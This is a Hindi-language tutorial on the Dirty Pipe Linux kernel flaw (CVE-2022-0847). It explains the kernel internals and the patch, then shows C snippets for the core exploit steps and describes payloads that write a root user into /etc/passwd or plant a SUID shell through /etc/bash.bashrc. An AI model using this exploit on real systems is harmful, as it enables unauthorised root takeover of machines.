
Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)
डर्टी पाइप (CVE-2022-0847) लिनक्स कर्नेल 5.8 – 5.15.24 में सबसे महत्वपूर्ण सुरक्षा कमजोरियों में से एक है, जिसे 2022 में मैक्स केलरमैन ने खोजा था। यह कमजोरी सामान्य उपयोगकर्ताओं (बिना विशेष विशेषाधिकारों के) को उन फाइलों में डेटा को अधिलेखित करने की अनुमति देती है जो केवल-पढ़ने योग्य होनी चाहिए। मुख्य अवधारणाओं को समझना
डर्टी पाइप पर विस्तार से चर्चा करने से पहले, यहाँ कुछ लिनक्स कर्नेल आंतरिक अवधारणाएँ हैं जिन्हें समझने की आवश्यकता है:
1. पेजिंग
पेजिंग लिनक्स कर्नेल में एक मेमोरी प्रबंधन तंत्र है जहाँ मेमोरी सिस्टम भौतिक मेमोरी को पेज फ्रेम नामक निश्चित आकार के छोटे ब्लॉकों में विभाजित करता है, और वर्चुअल मेमोरी को समान आकार के ब्लॉकों में विभाजित किया जाता है जिन्हें पेज कहा जाता है।
यह तंत्र कर्नेल को प्रक्रियाओं के वर्चुअल एड्रेस स्पेस को भौतिक मेमोरी में एक गैर-अनुक्रमिक तरीके से मैप करने की अनुमति देता है, जो आधुनिक सिस्टम में दक्षता और सुरक्षा के लिए महत्वपूर्ण है।
2. पेज (वर्चुअल मेमोरी)
लिनक्स में, एक पेज कर्नेल द्वारा प्रबंधित भौतिक मेमोरी की सबसे छोटी इकाई है।
सादृश्य: RAM एक विशाल पुस्तक की तरह है। एक पेज उस पुस्तक में कागज की एक शीट है। कर्नेल डेटा को बिट दर बिट नहीं हिलाता है, बल्कि शीट दर शीट (पेज दर पेज) हिलाता है।
आम तौर पर, आधुनिक सिस्टम आर्किटेक्चर (जैसे x86_64) पर, एक पेज का मानक आकार 4 KB (4096 बाइट्स) होता है।
3. पेज कैशे
यह एक महत्वपूर्ण भाग है। Linux हर बार डिस्क से सीधे फ़ाइलें नहीं पढ़ता क्योंकि यह धीमा है। कर्नेल फ़ाइल सामग्री को RAM में कॉपी करता है जिसे पेज कैशे कहा जाता है।
4. पाइप बफर
पाइप एक इंटर-प्रोसेस कम्युनिकेशन (IPC) तंत्र है। आंतरिक रूप से, कर्नेल पाइप को pipe_inode_info डेटा संरचना का उपयोग करके प्रबंधित करता है। पाइप के अंदर डेटा एक "बफर" में संग्रहीत होता है जिसे पाइप बफर कहा जाता है।
5. पाइप बफर फ़्लैग (PIPE_BUF_FLAG_CAN_MERGE)
PIPE_BUF_FLAG_CAN_MERGE फ़्लैग लिनक्स कर्नेल संस्करण 5.8 में पेश किया गया था।
यहीं मुख्य कमजोरी निहित है। इस फ़्लैग का नाम PIPE_BUF_FLAG_CAN_MERGE है।
6. स्प्लिस
splice() दो फ़ाइल डिस्क्रिप्टर के बीच कर्नेल स्पेस और यूज़र स्पेस के बीच डेटा को कॉपी किए बिना स्थानांतरित करने के लिए एक syscall है। इसे अक्सर जीरो-कॉपी तंत्र के रूप में जाना जाता है।
splice() syscall डर्टी पाइप में "मुख्य अभिनेता" है:
7. कॉपी ऑन राइट (CoW)
कॉपी-ऑन-राइट (CoW) तंत्र एक मेमोरी प्रबंधन ऑप्टिमाइज़ेशन रणनीति है जिसका उपयोग लिनक्स कर्नेल द्वारा डेटा कॉपी करने में तब तक देरी करने के लिए किया जाता है जब तक कि यह बिल्कुल आवश्यक न हो।
कॉपी-ऑन-राइट (CoW) और डर्टी पाइप एक्सप्लॉइट (CVE-2022-0847) के बीच संबंध यह है कि लिनक्स कर्नेल में एक छोटी सी बग CoW तंत्र को सफलतापूर्वक "धोखा" देती है, जिससे उन फ़ाइलों में डेटा लिखा जा सकता है जो केवल-पढ़ने योग्य होनी चाहिए।
8. डर्टी पेज
डर्टी पेज RAM में एक मेमोरी पेज है जिसे किसी एप्लिकेशन द्वारा संशोधित किया गया है, लेकिन परिवर्तन अभी तक सेकेंडरी स्टोरेज (जैसे SSD या हार्ड डिस्क) पर वापस नहीं लिखे गए हैं।
डर्टी पाइप कमजोरी का विश्लेषण
डर्टी पाइप लिनक्स कर्नेल 5.8 से लिनक्स कर्नेल 5.15.24 में पाइप बफर हैंडलिंग में एक प्रकार का लॉजिक बग है। मुख्य समस्या पाइप तंत्र (इंटर-प्रोसेस कम्युनिकेशन चैनल) और कर्नेल द्वारा पेज कैशे (मेमोरी जो डिस्क से फ़ाइल डेटा की प्रतियाँ संग्रहीत करता है) के प्रबंधन में निहित है। मुख्य मुद्दा PIPE_BUF_FLAG_CAN_MERGE फ़्लैग में एक बग है।
मुख्य समस्या इस फ़्लैग को ठीक से पुनः आरंभ करने में कर्नेल की विफलता (लॉजिक बग) में निहित है। यहाँ कोड विश्लेषण है: लिनक्स कर्नेल संस्करण 5.16.11 से पहले copy_page_to_iter_pipe और push_to_pipe फ़ंक्शन में, splice संचालन करते समय, कर्नेल pipe_buffer संरचना तैयार करता है लेकिन .flags सदस्य को साफ़ करना भूल जाता है।
कमजोर कोड संरचना:
// समस्या का स्थान: fs/pipe.c या include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- यह फ़्लैग रीसेट नहीं होता
unsigned long private;
};
पैच से पहले कोड (कमजोर):
// lib/iov_iter.c - CVE-2022-0847 पैच से पहले
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// समस्या: buf->flags को बिल्कुल छुआ नहीं गया
// --------snip----------------------
}
पैच के बाद कोड (फिक्स्ड):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- पूरी तरह से शून्य पर रीसेट
क्यों buf->flags = 0 केवल एक विशिष्ट फ़्लैग को बंद करने से बेहतर है? क्योंकि pipe_buffer एक पुन: उपयोग की जाने वाली संरचना है। यदि हम केवल एक फ़्लैग (CAN_MERGE) बंद करते हैं, तो पिछले पाइप उपयोग से अन्य जंक फ़्लैग (जैसे PIPE_BUF_FLAG_GIFT या अन्य कस्टम फ़्लैग) अभी भी बने रह सकते हैं और भविष्य में अजीब व्यवहार या नए सुरक्षा छेद पैदा कर सकते हैं। इसे 0 पर सेट करना सुनिश्चित करता है कि बफर पूरी तरह से "साफ" स्थिति में है।
इसका शोषण क्यों किया जा सकता है?
यहाँ डर्टी पाइप शोषण प्रवाह है:
1. प्रदूषण चरण: हमलावर write () के माध्यम से पाइप में डेटा सम्मिलित करता है। एक सामान्य write() ऑपरेशन buf->flags = PIPE_BUF_FLAG_CAN_MERGE सेट करेगा।
2. निकास चरण: हमलावर उस डेटा को पढ़ता है (read)। बफर अब तार्किक रूप से "खाली" है, लेकिन इसकी संरचना अभी भी कर्नेल मेमोरी में CAN_MERGE फ़्लैग सक्रिय होने के साथ मौजूद है।
3. स्प्लिस चरण: जब splice() syscall एक केवल-पढ़ने योग्य फ़ाइल को पाइप में मैप करता है, तो copy_page_to_iter_pipe() फ़ंक्शन कॉल किया जाता है। उपरोक्त बग के कारण, यह buf->page को मूल फ़ाइल के मेमोरी पेज से भरता है लेकिन buf->flags को रीसेट नहीं करता है।
4. निष्पादन: कर्नेल सोचता है कि यह फ़ाइल बफर अभी भी विलय किया जा सकता है। पाइप पर अगला write() एक नया बफर नहीं बनाएगा, बल्कि वास्तव में पहले से मैप किए गए मेमोरी पेज (पेज कैशे) को सीधे संशोधित करेगा।
इस चरण पर, हमलावर का डेटा पहले से ही RAM में संग्रहीत है। RAM में एक पेज जिसकी सामग्री डिस्क से भिन्न होती है उसे "डर्टी पेज" कहा जाता है। यदि यह चरण सफलतापूर्वक पहुँच जाता है, तो इसका मतलब है कि शोषण सफल हुआ! एक बार जब पेज कैशे बदल जाता है, तो प्रभाव तत्काल होता है। यदि हम RAM में /etc/passwd को अधिलेखित करते हैं, तो हम उसी समय su root चला सकते हैं।
डर्टी पाइप शोषण
डर्टी पाइप शोषण के लिए, हमें किसी भी कर्नेल सुरक्षा को अक्षम करने की आवश्यकता नहीं है क्योंकि सभी कर्नेल सुरक्षाएँ इस लॉजिक बग को रोकने के लिए अप्रासंगिक हैं। डर्टी पेज लॉजिक बग का शोषण करने के लिए, हमारा शोषण निम्नलिखित चरणों का प्रदर्शन करेगा:
चरण 1. पाइप तैयार करें और PIPE_BUF_FLAG_CAN_MERGE फ़्लैग को ट्रिगर करने के उद्देश्य से पाइप को भरें।
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
चरण 2. पाइप को खाली करें।
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice failed");
return 0;
}
write(p[1], payload, strlen(payload));
डर्टी पाइप शोषण के लिए पूर्ण शोषण कोड पूर्ण शोषण कोड https://github.com/bluedragonsecurity/dirtypipe2 पर उपलब्ध है।
नोट: पूर्ण शोषण कोड में कर्नेल संस्करण सत्यापन, पाइप तैयारी, पेलोड इंजेक्शन, और /etc/passwd और /etc/bash.bashrc को लक्षित करने वाली दो अलग-अलग शोषण विधियों के लिए फ़ंक्शन शामिल हैं।
शोषण विधियाँ
उपरोक्त शोषण 2 अलग-अलग पेलोड का उपयोग करता है जिसका उद्देश्य यह है कि यदि पहला पेलोड विफल हो जाता है, तो इसे दूसरे पेलोड द्वारा श्रृंखलित किया जाएगा।
पेलोड 1: /etc/passwd में uid 0 के साथ 'toor' नाम का एक नया उपयोगकर्ता जोड़ने के लिए लिखता है। यदि यह पेलोड सफल होता है, तो हम तुरंत रूट शेल प्राप्त कर सकते हैं।
पेलोड 2: /tmp/x पर एक SUID bash शेल गिराने का लक्ष्य रखता है। विशेष रूप से दूसरे पेलोड के लिए, इसे सिस्टम पर रूट उपयोगकर्ता के लॉगिन करने की प्रतीक्षा करनी चाहिए क्योंकि SUID शेल गिराने के लिए पेलोड /etc/bash.bashrc में इंजेक्ट किया जाता है। Linux में, /etc/bash.bashrc में निहित कमांड सिस्टम में लॉगिन करने वाले प्रत्येक उपयोगकर्ता द्वारा लॉगिन समय पर निष्पादित किए जाते हैं।
शोषण का परीक्षण
इस उदाहरण में, मैंने VirtualBox में Lubuntu 20.04.5 पर चल रहे Linux कर्नेल 5.13 का उपयोग किया है जो गेस्ट OS के रूप में है और होस्ट OS Kali Linux 2025.4 है। Lubuntu 20.04.5 मशीन पर, शोषण को संकलित करें:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
संदर्भ